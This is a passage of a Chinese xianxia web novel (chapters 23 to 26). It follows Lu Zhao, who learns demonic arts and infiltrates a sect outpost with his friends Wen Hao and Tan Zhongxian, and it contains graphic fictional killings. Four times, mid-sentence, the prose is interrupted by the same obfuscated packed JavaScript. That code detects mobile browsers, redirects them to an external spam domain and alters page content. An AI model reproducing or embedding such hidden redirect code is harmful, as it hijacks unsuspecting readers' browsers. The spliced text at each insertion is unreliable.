这么静的夜,就算是吹过林间的风,也很清晰。更别提它吹散了哗啦啦坠地的骨灰,像海风,扑到了陆昭脸上。 他吃劲地睁开半只眼睛,看见地上的白痕。 住手、住手、住手、住手住手住手住手住手啊! 陆昭咆哮、尖叫、恐惧。 发不出声音。 “好吃。”豺厌喜欢绝望的味道。 但凭空吧唧嘴引来了老枯的嘲弄,“天魔净捡些有病的。” 豺厌也不生气,“你不也有病?” “怎么不绝望了?” 豺厌蹲下身,把陆昭翻了过来,伸手去摸他的心口。 帮帮我帮帮我帮帮我帮帮我帮帮我帮帮我帮帮我帮帮我帮帮我—— “好吵。” 他居高临下地看着陆昭,没有锚点的眼里填满恶趣味,“没有人会帮你的。” 陆昭想起了在阳城时,丧魂要杀闻晧。 他什么都做不了。流水如何与江河争先? 余锏也不在。没有人可以帮他。 痛苦。 他分不清是身上的伤口在痛,还是别的地方痛。 他只知道。 好痛。 好痛好痛好痛好痛好痛好痛好痛好痛好痛好痛好痛—— “吵死了。”豺厌捂住耳朵。 他扭头看默煞,“杀了他?” “不。”默煞脱口而出,“留着他的命吧。这就是代价。” 这十几秒跟一个世纪般漫长。 痛苦,痛苦,痛苦。先是痛苦,再是麻木。陆昭想过自己或许能跟动漫的主角一样暴起,保护他所珍视的。但现实是他根本动不了,没有一点反抗的能力。 一个念头疯狂地冒了出来: 如果自己跟余锏一样有“能力”,是不是就不会任人宰割? 如果、如果、如果。 他满脑子都是“如果”。 三人真的没有杀陆昭。 他们走了,林间又只剩下了风声。 不知道过了多久,陆昭又听到了脚步声。 这次有人把他扶了起来,用袖子给他擦脸。 “发生什么事了?”是余锏的声音。 陆昭用了一点时间才找回自己的声音,“他们是血魔的手下,觉得是我杀了血魔,所以……” 陆昭脑子很乱。 “余锏,骨灰被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487263|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们洒了。”他重复这句话。 他的手在抖。 余锏握住了,低声耳语,“我知道了。” 陆昭很崩溃。 但他并没有流泪。他只是重复这句话。 “余锏,骨灰被他们洒了。” “陆昭,我知道怎么回去了。” 陆昭的话忽然被卡在喉咙里。 余锏继续说:“我师尊教我如何用沧海镜,但只有一次机会。现在你就能回去,陆昭,我送你回去吧。这个世界不属于你。” 这个世界不属于你。 是不是因为他根本没有反抗这些人的能力? 陆昭有些呆愣。 他不知道余锏做了什么,只感觉到眼前出现了一道白光。白光像一条绸缎,通往天上。 陆昭恍恍惚惚地抬起头,终于辨认出来那是一条通往月亮的路。 “陆昭,往前走,你就能回家了。” 余锏在他身后。 陆昭恍惚地往前走,忽然踢到了什么。 清脆的声音。 他低下头,借着光看清了,是空空如也的玻璃瓶。 没有骨灰,他就没办法复活母亲。 也永远无法知道她为什么要抛弃自己了。 陆昭找不到留下的理由。 他往前走,蓦地,听见身后余锏略带些迟疑的话,“如果他们三人碰到了你母亲的骨灰,那么用他们就可以复活她。不过,代价很大,你不会喜欢。” 陆昭的脚步骤然停止了。 他沙哑着嗓子,“什么代价?” “杀了他们。用他们的命,换你母亲的。可以你的本事,赢不了他们。” 仿佛是在替陆昭可惜。 “你说过,牺牲一些东西就可以杀丧魂。那是不是也可以杀其他人?” 余锏感慨:“你还记得。” “告诉我。”陆昭不动。 “我可以教你。”余锏声音很低,“我可以教你怎么杀人。” 陆昭沉默了很久。 他慢慢地,从白光上退了下来。 看着月亮渐渐淡了,看着天边渐渐白了。 天亮了。 余锏口吻怪怪的,并不像他。 像抑制着什么。 “这次留下,就要很久以后才能回去了。” “我要学。”陆昭说,“我要学。” · 闻晧很担心陆昭的安危。 谈仲先跟他说回到醍醐天,可以替陆昭算一卦。 但闻晧太着急了,此去醍醐天要三天路程,他怕陆昭真出事了,来不及营救。 谈仲先想了想,便当场起卦。 “我算卦的水准不如掌门。”自谦了一句,谈仲先拨弄铜钱。 闻晧看他神色怪异,说不出喜忧,着急道:“师兄,结果怎么样?” “困卦。” 闻晧:“他被困住了?” “亨,贞,大人吉,无咎。”谈仲先宽慰道,“只是一时艰难,总会重见光明。” 闻晧相信陆昭能渡过难关的,就算谈仲先说余锏不对劲,是魔修,闻晧也不觉得他会害陆昭。 一种直觉吧。闻晧觉得余锏会杀自己,但就是不会动陆昭。问为什么,自己也不知道。 希望老陆已经顺利回他的世界了。 “老陆,希望你一切安好。”闻晧喃喃。 24. 第 24 章 四时积雪,六月飞霜。 连绵雪山间高耸的万道石阶,一行人缓慢地前行。 都是年轻人,或背篓或包袱,神情寻常。 一个人悄悄从队伍里探出头。 身后的人把他拽回原位。 “师弟,别太扎眼了。”说着紧了紧自己的兜帽。 “大师兄,这里应该没人认识我们吧。”青年竖起一根手指,“我就看一会儿。” 谈仲先叹了口气,“闻师弟,此番只你我二人潜入魔教分坛,理应小心行事。” 他说得对,闻晧纠结了一下,站得板正,“反正上去就知道怎么回事了。” 时过境迁,闻晧进入醍醐天已经一年了。 这是他第一次下山,跟谈仲先和其他三个同门一起。 五人的目的是混入万古愁在玉龙山的分坛,听说这分坛极为隐蔽,残害了不少人命。若能一举拿下,必然造福四方。 五人在最近的城中上落脚,适逢分坛下山抓人,哄骗城民,美名其曰“纳新”。谈仲先本想五人都混进去,没想到其他三人被拒,就他跟闻晧得以上山。 看着闻晧的后脑勺,谈仲先无奈地发笑。 闻师弟天资不错,就是性子跳脱,掌门说他阴阳不分,一半皮猴性子,需得磨一磨。端掉万古愁分坛的任务并不难,难的是只有他和闻晧进来了。 只得嘱咐其他三人留在城中,随时接应。 过得半个时辰,总算轮到两人。 用山石雕刻出的牌坊下,两个万古愁弟子拦住两人。 “谭毅,文不解。”弟子上下打量两人,用毛笔指了指身后,“进去吧。” 两人前脚才走,便听见后面传来吵嚷。 “怎么回事,这种不应该在城里就被拒吗?送到上面去吧。” “你们要带我去哪里?不是说来了就能当弟子吗?” 弟子对视一眼,哈哈大笑。 “谁告诉你来了就能进?” “坛主不喜欢丑人。” 闻晧:“大师兄,于师兄他们被拒绝难道是因为……” 谈仲先半天憋出一句话:“师弟,千万别告诉他们。” 两人穿过紧邻悬崖的山路。 风雪扑面,刮得人脸生疼。过得索桥,终于看到一片宽敞开阔的林子。 遍地白垠。一重重人工雕就的台阶向上蔓延,隐约可见许多屋落。 除了两人,还有十几个人排成一队,站在台阶下。 一个穿着黑袍的人站在他们面前,朝两人勾了勾手,“过来。” 闻晧和谈仲先站到队尾。 蓦地,闻晧扭头看自己旁边的人,仔细盯着对方兜帽下的半张脸,“……老陆?” 风吹动了对方的帽檐。 他抬起眼,露出细碎柔软的黑色刘海,是一双闻晧挂念了四季的眼睛。 闻晧惊喜不已。 真的是陆昭!他还活着,太好了!可他不应该回家去了吗? 黑袍人的话打断了闻晧单方面的叙旧。 “你们不会以为过了山门就可以进万古愁吧?为了给你们腾位置,很多人做出了牺牲,但万古愁就这么大,不是什么阿猫阿狗都能进的。所以,有什么本事,尽管使出来。说不定赢了我,还能把我挤下去。” 有人举起手,“为什么要把你挤下去?你很厉害?” 黑袍人阴恻恻地笑:“万古愁没有规矩,只要你够强,你就是这里的规矩。我是黑玉,能随便决定你们的死活。比如现在,我很不喜欢你跟我说话的口吻——” 队伍里发出尖叫。 说话人两侧的人哗的一下散开了,看着他的脑袋咕咚咕咚滚出几米远,身体伫立在原地,好一会儿才像意识到自己死了似的软塌在地。 “还有什么问题?”黑袍人在笑。 活着的人摇头。 有人谄媚,“黑玉大人——” 他的话还没说出来,脑袋就没了,又死了一个。众人开始麻木。 “黑玉不是我的名字,是地位。待会儿你们就知道什么意思了。” 黑袍人敞开双臂,这时众人才发现,他的袍子底下密密麻麻全是刀刃,贴着他的身体。刚刚就是这些刀,快得人眼都看不清,杀死了那两个人。 他愉悦地眯起来,“来,用你全部力气,杀了我。” · “魔教真是可恨。” 谈仲先看着场中接连死去的人,紧咬后槽。 闻晧试着跟陆昭搭话,后者并不理他,看他的眼神淡淡的,好像并不认识他。 这让闻晧开始怀疑自己:他认错人了? 又一个人被杀了。 黑袍人擦着刀上的血。血是红的,刀是白的,晃得人难受。 两个弟子上来将死去的人拖走。不是拖到外面丢掉,而是往台阶上去。 闻晧不由得想到了在山门时那个“丑人”被送到了“上面”。 上面到底有什么? 快轮到谈仲先了,他悄声嘱咐闻晧:“若打不过,莫惧暴露身份。性命要紧,来日方长。” 闻晧点点头。 “求求您饶了我!” 一个人上来直接跪下了,亲吻黑袍人的鞋,“我不如您,我就是只蝼蚁,求您饶了我!” 所有人都盯着他看,大气不敢出。 说不定直接认输就能通过? “脏东西。”黑袍人割他的头。 众人脸上的希冀转作死灰。 谈仲先沉思不语。 轮到他。收着力打。赤手空拳,装出力气大、身子灵敏的样子。躲过了黑袍人数次攻击。 最后他趴在地上气喘吁吁,“我打不过您。” 黑袍人的刀在半空刹住了。 刀刃离谈仲先的额头只有一指。斩断了些许刘海,碎发簌簌落在他的鼻尖。 “你通过了。”黑袍人将刀揣回怀里。 他转向剩下的脸,指着谈仲先,“他很识时务,是个聪明人。我不喜欢蠢人。” 他手指弹出一块拇指大的圆玉牌,落在谈仲先身上。 谈仲先拿起来,玉牌晶莹剔透,皎然无色。 “这是无色玉,也被称作下等玉。” 黑袍人翻转指间,赫然变出一块黑色玉牌。 他将玉牌抛向空中,让每个人都能看清不含一丝杂质的黑。 玉牌落到他的手背上。黑袍人翻手攥住,噙着畅意的笑,“下等玉配下等人,这万古愁里随便一个人都能杀你们。强者为尊,想活下去?努力修炼。” 谈仲先回到队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517143|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍,与闻晧擦肩而过时:“依我所为。” 闻晧与黑袍人周旋了一会儿。 谈仲先认为黑袍人还是收了力的,水准跟醍醐天的入门弟子差不多。他并非真想杀人,而是想碾碎他们的脊梁骨。 时间一分一秒过去。 见闻晧迟迟不肯投降,谈仲先着急了。 当初闻晧给谈仲先的印象并不算好。 一个鲁莽、聒噪的年轻人。相较之下,忍受着巨大痛苦却救了他们的陆昭更得青眼。 一年相处,谈仲先发现闻晧并非有勇无谋之人,掌门说他应该来醍醐天,往后人生种种,都是为他洗去尘意。 谈仲先现在还不明白这番话的意思。他只觉得闻晧是个犟种,尽管没有犯过原则上的错误,却让他这个大师兄很是头疼。 想到若黑袍人要杀闻晧,他只能先救下闻晧,与同门汇合,从长计议…… 铮! 闻晧呆呆地看着不动作的黑袍人。 刀刃悬在他头顶,就差一点,扎入发旋。 一把古怪的小刀嵌入黑袍人虎口。 刀身如红宝石,湿漉漉的。淡淡的腥味,钻入闻晧鼻腔。 谈仲先猛地扭头看向出手的人。 他还保持着抛出小刀的动作,众目睽睽之下,摘下兜帽。 谈仲先认出来了。 陆昭。 黑袍人低头看虎口。 小刀不知何时融化了,如红蛇,钻入他伤口。 但他并无感觉,像喝了一口水。不痛不痒。 “该轮到我了。”陆昭一步步走到了闻晧身旁。 闻晧感动流涕,“老陆!” 果然是老陆。老陆不会坐视他陷入危险而不管的! 谈仲先无可奈何地盖住额头。 陆昭看了他一眼,对黑袍人道:“既然分不出胜负,不如我先?待会儿你们再继续打。” 闻晧有些摸不着头脑了。 黑袍人审视陆昭,长相可以,是坛主喜欢的小白脸。脑子,不太行。面对强者,还敢狗吠,跟坐地上这小子一样蠢。 这恰恰踩了他的雷区。 送死?好啊。 黑袍人宽袖一震,风把闻晧送出几米外。刀光贴着掌心,从陆昭面前滑了过去—— 陆昭脖颈微微后仰,任由碎发从眼前掉落,右手抬起,红宝石般的小刀从袖里滑到指尖,抛射向黑袍人的心口。 又是铮地一声。 小刀撞到黑袍人衣服上。他看着掉在地上的刀,哈哈大笑:“凭你这本事,也敢造次?” “次”字还在嘴边,他脸色骤变。忽然捂住心口。 下一刻,刀刺破皮肉的声音像烟花炸开,全场的人都听见了。 一条红蛇破心而出,飞入陆昭掌心,缠绕着他的手掌走了一遭,变成小刀,静静地躺在他手掌里。 啪嗒、啪嗒。 血滴在地上。 掉在地上的小刀越发猩红,刀身闪烁着诡异的光泽。缓慢地、几不可查地攫取着大滩血液。 黑袍人愣怔怔地看着陆昭,仰头倒在地上。 他手里的黑玉掉在地上,滚动两圈,触碰到白玉般的手。 陆昭捡了起来,任其在指间跳跃,回头看向众人,“你们都通过了。” 25. 第 25 章 众人不知所以。 嚣张的小白脸一招秒杀黑袍人,始料未及。 闻晧下巴都要掉到地上了。 这一年发生了什么事,陆昭怎么这么厉害了? 太好了,他现在有自保的能力,就不怕被妖魔鬼怪欺负了。 谈仲先眉头拧得乱七八糟。 他紧盯着陆昭的手。 陆昭出手很快,除了他,没人看见那把小刀。 谈仲先一眼就认出这是魔道手段。 联想到一年前陆昭被魔修掳走,莫非,他加入了魔教? 有人开口:“这位兄弟,为什么你说我们通过了?是你杀了他,跟我们无关呐。” 陆昭:“万古愁的规矩如此,杀了谁,你就拥有了他所拥有的。” 他将黑玉往半空一抛,并不抬头,牢牢接住,“现在我是黑玉了。” 黑玉负责考核新人。陆昭手握他们的生杀大权。 他话锋一转,“如果你们不想留在万古愁,可以自行离开。” 众人面面相觑。 闻晧和谈仲先的目的就是混进分坛。闻晧赶紧爬起来,“留,我和我哥肯定要留下!” 说着跟谈仲先使了个眼色。 谈仲先面沉如水,点头道:“没错,我们要留下。” 有想走的人不敢相信,“真的吗?来之前我可是听说进来了就别想出去,要么人留下要么尸体留下……” “万古愁没有规矩。” 众人这才想起黑袍人说过的话。 万古愁没有规矩。只要你够强,你就是规矩。 有人高呼:“还真来对地方了!” 有人嗫嚅:“那岂不是别人随时能杀了我?我要是往上爬了,哪怕只爬一个台阶,也总有人想取代我。这样跟在悬崖上走有什么区别?” 谈仲先意味深长道:“没错,你的头上永远悬着利剑,连睡着时也不能松懈。所以人人说万古愁是魔教。” “富贵险中求。”有人跃跃欲试,竟向陆昭发起挑战,“那我现在要是杀了你,我就是黑玉了?” 陆昭有些意外,也只是意外,“没错。” 谈仲先发现地上的小刀不知何时干干净净,周围的血都不见了。 它竟慢慢动了起来,没有人看见它爬到了陆昭脚边,咻地一下没入他衣袖里。 闻晧好不容易跟陆昭重逢,立刻拦在他面前,“要跟他动手,你们先得过我这关!” 谈仲先头疼不已。 显然陆昭跟魔教沾上关系,闻晧竟将自己的后背暴露给他。 谈仲先看见陆昭抬起手。 他浑身的肌肉都紧绷了起来,不得已出手。身体向前扑去,长剑在右手慢慢凝实。 陆昭拍闻晧的肩膀,“老闻,没事的。” 谈仲先突然停下。 陆昭双眼转向他,干净,清澈,还是一年前见到的那个青年,“谈大哥。” 谈仲先有些尴尬。 他将手背到身后,心想幸好未有唤出灵剑。看向陆昭,“若个个都能挑战,那被挑战的人岂不是要累死?” “是,我可以拒绝。”陆昭看向发起挑战的人,“今天我不想杀你,再过一阵吧。” 后者愣了愣,恼道:“我看你也没什么真本事,不过是侥幸偷袭赢了,敢不敢跟我堂堂正——” 他的话没说完。 锋利的刀刃抵着他的喉咙。旁边的人闻到一股尿骚味,一看是这人吓尿了。 没人看清陆昭什么时候取了黑袍人的刀,又是什么时候出手。圆月般的弯刀在他掌心,贴着对方的皮肤。 “我说了,今天不想杀你。” 陆昭把刀丢到一边,“后面的人也通过了,想留下的就留下,不想的就走。你们两个跟我来。” 他往台阶走去,发现大家还在愣神,回头朝闻晧和谈仲先招了招手,“跟我来。” 闻晧率先跟了上去。 谈仲先迟疑了一下,想到来此的目的,便也动身。 爬到半路,谈仲先回头看了眼。 两个弟子上前把死了的人搬走,包括黑袍人。身影没入小路,又出现在台阶上,又没入密林。 那上面究竟有什么? 抵达最后一层台阶,两个弟子走过来。 陆昭亮出黑玉,他们恭恭敬敬地弯腰,“黑玉大人,坛主要见您。” 闻晧的心沉了下去,靠近陆昭,嘴唇不动,“老陆,有危险吗?” 陆昭摇头。嘱咐弟子将闻晧和谈仲先带到无色玉休息的地方去。 有他亲自嘱咐,没人欺负闻晧和谈仲先。 陆昭跟着一个弟子,穿过鳞次栉比的房屋,来到一间居所。 蓍草和牲畜的血混在一起,钻入鼻腔。 墙是黑紫色的,生满暗绿色苔藓。人鱼烛的光无处折射,孤寂地燃烧。 天顶上悬着兽骨人骨黑曜石片,风吹进来,哗啦啦地响。 屋心有一落古木。 房子依它而建。像为它打造的灵柩。 树下一个火塘在烧。 焰心幽微,一个人盘腿坐在前面烤火。 他披着厚重的毛皮,半张脸是纹身。靛青色勾勒,矿物彩填补。浓墨重彩。干净的另一半有着苍白、无血色的皮肤。 不像一个人。像两个人拼起来的。 带路的人停下。陆昭也停下。 男人搓着手,撩起眼皮,“你杀了刘霄。以后你就是黑玉,不过你择选新人不力,去上面吧。” 陆昭巴不得,点头道:“知道了。” “叫什么名字?”他说着,居然将手伸进火塘里。 仿佛一点也不烫,男人面不改色,取出一抹灰,对陆昭勾了勾手。 陆昭走过去,俯下身。男人沾了灰的手指按在他眉心。 一股松脂、药草混杂的木质香气钻进他鼻子里。 “陆朝。” 灰烬附着在陆昭眉心,慢慢融了进去。 “胆有二心,死。” 男人眼里浮现狠戾。 万古愁没有规矩。 因此每一个往上爬的人,都要学会用手段操纵下面的人。 这个分坛的坛主擅巫蛊之术,一个名字就可以咒杀。 刘霄那样的黑玉在分坛里有上百个。 没人惋惜他的命。 “好好为万古愁做事,本尊会赐你提升境界的丹丸。” 男人摆摆手,示意他可以走了。 他不会把名字告诉陆昭。养蜂人最小心。低等的工蜂也不配知道。 陆昭走出屋子,弟子领他去刘霄住的地方。往后就是他住的地方。 他一边看风景一边走。一条红色小蛇从后背慢慢爬到了他的肩头,靠近他的耳朵,像情人耳语,贴着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521708|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软骨,缠绵地攀附轮廓。 “巫……玿……” 陆昭嘴唇翕张,没有发出声音。 分坛坛主叫巫玿。 他从最普通的无色玉爬上来,手上沾的人命数不清。分坛的“上面”是他杀了上一任坛主后建的。 总坛默许他的行为。甚至纳兰很欣赏他这种从尸山血海里冲出来的。但上一次总坛例行巡视的黄玉回去后死了,七窍流血,死状凄惨。尸体半天后就化成血水,一点证据也没留下。 他原本要呈给纳兰的报告里提到了分坛的“上面”。 纳兰欣赏敢作敢为的人,但他不喜欢被骗。 这件事需要有人查清楚。 至于为什么是陆昭…… “到了。这里以后就是您的住处。” 一扇门上嵌着一块玉珏。陆昭将黑玉贴上去,门应声而开。 屋里弥漫着一股汗酸味。弟子打开窗通风,把刘霄的东西装进筐里,“您要留下什么吗?” “不用。”陆昭在屋里走了一圈,“这些要拿去扔掉吗?” “若您不要,便分给无色玉。” 大鱼吃小鱼。大人物施舍的一点肉丝都足够让小鱼吃饱。 陆昭:“你拿走吧。” 他让弟子端来一壶热茶,就让他忙去了。 在桌旁坐下,陆昭倒了两杯茶,手掌朝上反扣在桌上。红色小蛇顺着他的肩膀、手臂、手指游到了桌上,仰起头看着他。 张口,是余锏的声音: “为什么帮他们?” · 闻晧时而坐下,时而走动。 他想出去,被谈仲先喊住,“别急。” 无色玉的房间又小又逼仄,小小的屋子要容纳六个人。 好在他们是陆昭带来的。弟子给他们安排了一间空房,半路上见到其他房间,六个人挤在一起,臭烘烘的,每个人脸上都挟着绝望和疲惫。 “不知道老陆怎么样了。”闻晧担心。 谈仲先想到陆昭那副恍在世外的样子,“他变化很大。” 闻晧诧异:“很大吗?我觉得老陆还是老样子啊。” 谈仲先摇摇头,“我怀疑他已经入了魔教。” 闻晧质疑:“不会吧?” “不然他如何能杀了黑玉。”谈仲先神色坚定,“师弟,若陆昭真的入了魔教,就算你们有过命的交情,你也必须阻止他。” 闻晧头皮发麻:“大师兄,你的意思是要我……” “杀了他。”掷地有声。 闻晧立刻拒绝了,“不可能,要不是老陆,我既不可能活下来也不可能进醍醐天。他是我的朋友更是我的恩人,我不会杀他的。” “可若是他入魔了呢?自古正邪不两立。帮他,就是跟整个醍醐天作对。莫非师弟要叛出师门?” 闻晧无言以对。 “再说吧。”他抓了一把乱糟糟的头发,“大师兄,我们既然进来了,接下去要怎么做?” “找他们的破绽。” “破绽?” 闻晧想到黑袍人随意夺取人命,“魔教随便杀人,难道不算破绽?” “这些人都是自行上山的,若他们咬死自愿,反倒是我们多管闲事。所以,还需要更有用的证据,方能师出有名。” 谈仲先环顾四周,压低声音,“听说这万古愁分坛的坛主,在用人炼丹。” 26. 第 26 章 “因为闻晧是我的朋友。” 陆昭脱口而出。 红蛇的眼睛像宝石。 “他现在是醍醐天的人,醍醐天跟万古愁势不两立,难道你想一年前的事重演吗?” 提到一年前,陆昭的身体紧绷起来。 半晌,他才稍稍放松了脊背,摇头道:“我相信老闻,他不会这么对我。” 余锏:“……” 半晌,只听他冷哼一声,爬到陆昭手腕上。 “小心巫玿。” 陆昭正是不明白:“我刚刚才来,他就让我去‘上面’,不怕被我发现他的秘密吗?” “名字是最短的咒。”顿了顿,余锏说,“不过你的担心有道理,‘上面’或许有陷阱。” 陆昭:“应该有破解的办法。” 余锏沉默了一会儿,“你还是不打算……?” 陆昭知道他在说什么,托着腮沉默了一会儿,叹了口气,“我觉得现在还没到时候,你教我的也够用了。” 余锏沉着声道:“陆昭,我教你的远远不够。” “你说过若是学了它,或许再也回不去。我还在想如果复活了我母亲,我可以带她回现代,她不习惯这里的生活……” 陆昭眼里满是憧憬。 余锏不说话了。 过得一会儿,“若是相信他们,吃了苦头可不要后悔。” 陆昭点头,“我知道的。” 红色小蛇发出一道短暂的气音。 它蓦地扭开头,把下巴搭在陆昭的手腕上,彻底安静。 · 翌日,天还未亮,闻晧和谈仲先就被喊起来了。 他们和其他人被赶到了一个广场上。几百号人跟牲口似的挤在一起,都是无色玉。 负责管理他们的黑玉站在屋檐下。 黑玉却无暇关心他们。众人都盯着新来的黑玉,陆昭。 走廊两侧站满了黑玉,用不怀好意的目光打量陆昭。昨天大家就知道来了一个心狠手辣的新人,两下就把刘霄杀了,现在是新的黑玉。 众人默契地不问候陆昭,也不介绍自己。只安静地看他。 陆昭知道在这地方,每个人都不愿意透露姓名。怕被咒杀。他找了个能看到无色玉的地方站着,目光在人群中逡巡,找到了闻晧和谈仲先。 闻晧也发现了他,想举起手打招呼,被谈仲先拦下。 陆昭听到身后传来脚步声。 十来个魔修从屋里出来。或胸前挂着,或腰间悬着青色圆玉。黑玉们自然而然靠近其中一个人,分成不同小组。 青玉在黑玉之上。一个青玉管辖数十个黑玉,黑玉又管辖数百个无色玉。 看似井然有序,实则每一个黑玉都可以杀了青玉,取而代之。没有谁永远在谁头上。 人陆陆续续站好了,只剩陆昭。 青玉们看向他,默不作声。 陆昭看出这是要他选一个人跟随的意思。 他下意识视线在众人间逡巡,忽然耳垂轻轻地疼了一下。 小蛇含了一下他的耳垂,余锏的声音不小,只有他听得见:“动手。” 陆昭一时不明:“动谁?” 余锏没有选定。 陆昭皱了下眉,看向一个大块头,抬步朝他走去。 其他人一副幸灾乐祸的样子。 大块头以为陆昭选定他了,粗声粗气道:“小子,听说你轻易便杀了刘霄。我们可不敢留你这种刺头,你既选了我当头领,照我的规矩应死在这里,免得给大伙添麻烦。” 话落,忽然动起手来!一柄千斤重的大锤从上落了下来! 一锤砸下去,整个屋子都抖了三抖。其余黑玉和青玉默不作声,淡淡看着这一幕。 广场上的闻晧和谈仲先都听到了这巨大的动静。 周围的人却好似习惯了,只看了眼响动的方向。 尘烟散去,大块头低头端详锤子下的肉泥。 ——空空如也。 他愣了一下。忽然一只手斜里伸了过来,贴着他的脖子。 像被蚊子叮了一口,短暂的疼。大块头扭头,看见一双黑色的靴子,立在他青筋虬结的胳膊上。 轻飘飘的。 靴子的主人轻轻一踩,跳到了锤子上。 像蜻蜓点水。 大块头半边脸抽动,完全意识不到刚刚顺着伤口钻进去的红蛇在他体内如何翻天倒海。 下一刻,他的右眼炸了。 身体往后仰。黑玉们惊恐地散开,跑不及的被他压在下面。身体被翘起的地板扎得生疼。 青玉们都不说话了。 沉默一直蔓延。 直到屋门又被打开,一个披散着头发的男人走了出来。额头有刺青,手腕戴银钏。他一出现,其他人不自觉低下了头。 “才第二天,又杀了一个青玉。”男人低头看了眼大块头的尸体,再看陆昭,“是不是过几天,你连坛主都敢杀?” 陆昭:“我想和大家和平相处,是他们不愿意。” “如果你和其他人平时好好的,忽然来了一个与众不同的人。那哪怕你们往日有罅隙,也会团结起来,先杀了这个变数。对吗?” 陆昭明白了,“菜到一起去就可以和平相处?” 男人愣了一下,“菜……倒是很贴切。” 陆昭用了现代的游戏术语,对古人来说当然新奇。 他也并不是瞧不起其他人,如果大块头肯让自己“跟”着他,他不用动手。 杀不杀不由他说了算。 男人弯下腰,从大块头腰间摸出青玉,抛给陆昭,“坛主昨日说过让你去‘上面’,你不应该来这里。” 这句话让其余的人神色各异。 陆昭夹住青玉,把黑玉丢到地上。 “跟我来。” 男人说着话,走进屋子里。 陆昭从锤子上下来,旁边的人莫名往后退了一步。 他跟上男人,听见断断续续的议论在身后响起。 “坛主打算提拔他?还是……” “嘘,不要妄图揣测坛主的心思。你忘了上一任的下场?” 闻晧踮起脚,看见陆昭跟一个人走了,松了口气,“幸好老陆没事。” 陆昭离开后,剩下的青玉带着黑玉,把无色玉们重新分配了一下。 闻晧和谈仲先被分去挖煤。 两人都不敢相信,魔教竟然要人挖煤? 去煤场的路上,闻晧越想越憋屈,跟谈仲先提议道:“大师兄,要不然我也学老陆杀上去算了。” “不行,醍醐天不许滥杀无辜。”谈仲先斩钉截铁拒绝。 闻晧抓耳挠腮,“大师兄,这里又不是醍醐天。” “人命在哪里都是一样的。就算他们是魔修,也要有理有据地制裁。师弟,陆昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541607|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被魔教迷了心神,他与你不同。” 闻晧不明白。哪里不同? 说话间已来到煤窑入口。从巷道里走出许多拖着煤炭的驴,身后跟着灰头土脸的无色玉。 青玉嘱咐了几句便到高处的凉亭乘凉修炼。黑玉则赶着无色玉进煤窑,紧盯着每一头出来的驴。 这些煤被送进另一条巷道。 听黑玉安排时,谈仲先一直观察这条巷道。只有进没有出,他们要把煤炭送到哪里去? “我不要呆在这里了!我要回去,让我回去!” 队伍忽然出现骚乱。 一个无色玉叫嚷着冲向出口,冲撞了闻晧和谈仲先的队伍。 他从煤窑里出来,瘦骨嶙峋,状若疯癫。显是在这呆了很久了。 没有人敢阻挠他。甚至有无色玉眼巴巴地看着,希望他可以逃出去。 “呲——”。血线划破空气,他面朝下摔在地上。血汩汩蔓延开,染红地面。 黑玉擦着手上不存在的血迹,走过去把扎进无色玉身体里的刀拔出来,看向余下惶恐的无色玉们,“背叛万古愁,这就是下场。” 众人又惧又怒。 黑玉转了转眼睛,放缓态度,“我知道你们来万古愁是为了出人头地,但不付出哪来的牺牲呢?看似现在你们只能听我的,但说不定有一天,你们吃了足够多的丹药,好好修炼,修为到我之上,就可以杀了我,折磨我。” 他的话让一部分人安静了下来。 “在万古愁,只要你够强,一切都有可能。今日所受之苦,总有一天能尽数奉还。” 说到这里,黑玉取下腰间的口袋,露出里面叮铃咣当的丹瓶,“这些都是坛主赏下来的,让我给你们之中最努力的人。哪怕你是个普通人,只要有丹药,有朝一日便可飞黄腾达,万人之上。” “万人之上……” 呢喃声冒出来。 接着许多人跟着重复,“飞黄腾达,万人之上。” “飞黄腾达,万人之上!” 见众人突如其来的亢奋,闻晧觉得又可怕,又莫名其妙。 谈仲先面沉如水,“这就是魔教。” 闻晧想到陆昭在这样可怕的地方。 他是怎么度过这一年的? 